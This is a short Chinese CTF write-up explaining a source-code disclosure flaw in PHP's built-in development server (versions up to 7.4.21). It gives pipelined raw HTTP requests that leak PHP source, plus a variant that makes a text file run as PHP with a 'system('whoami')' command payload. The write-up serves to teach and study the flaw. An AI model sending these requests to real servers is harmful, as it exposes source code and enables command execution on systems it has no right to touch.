前言
打NEEPU Sec 2023时遇到了一题从php版本切入获取源码的题目,搜了一下发现是一个php<=7.4.21版本的源码泄露漏洞
参考: https://blog.csdn.net/weixin_46203060/article/details/129350280
版本
PHP<=7.4.21
漏洞利用
通过php -S开起的内置WEB服务器存在源码泄露漏洞,可以将PHP文件作为静态文件直接输出源码
复现很简单
BurpSuite抓包后丢到重放器,关掉BurpSuite重放器自动修改Content-Length的功能
然后修改请求头为
GET /phpinfo.php HTTP/1.1
Host: pd.research
GET / HTTP/1.1
注:这里的每次换行都是必须的(上下都是两次换行)
会返回

这里我们稍微解释一下第一个GET和第二个GET的作用分别是什么
第一个GET后的/phpinfo.php是直接访问已存在的phpinfo.php文件(一般可以是访问index.php)
PHP源码中的
php_cli_server_request_translate_vpath函数将请求的PHP文件的路径转换为文件系统上的完整路径。如果请求的文件是一个目录,它会检查是否存在索引文件,如index.php或 index.html,并使用其中一个文件的路径(如果找到的话)。这允许服务器响应请求提供正确的文件
而第二个GET后的/请求的是目录而不是文件
此PHP版本提供的代码包括一个检查,以确定请求的文件是应被视为静态文件还是作为 PHP 文件执行。这是通过检查文件的扩展名来完成的。如果扩展不是
.php或.PHP,或者如果扩展名的长度不等于 3,则该文件被视为静态文件
因此如果我们把第二个GET请求的内容改为类似1.txt的文件时,php源码将会被以静态文件的方式泄露(即直接访问获取)
同样的,如果第一个请求是一个静态文件如 1.txt,而第二个请求为 1.php 时,将会以 php 的形式解析 1.txt
注意,如果要以 POST 请求访问,则是在第二个请求中传入 POST 请求必要的正确请求头(Content-Type,Content-Length 需自行计算)再传入 POST 参数,如:
POST /1.txt HTTP/1.1
Host: 127.0.0.1:2080
POST /1.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
a=system('whoami');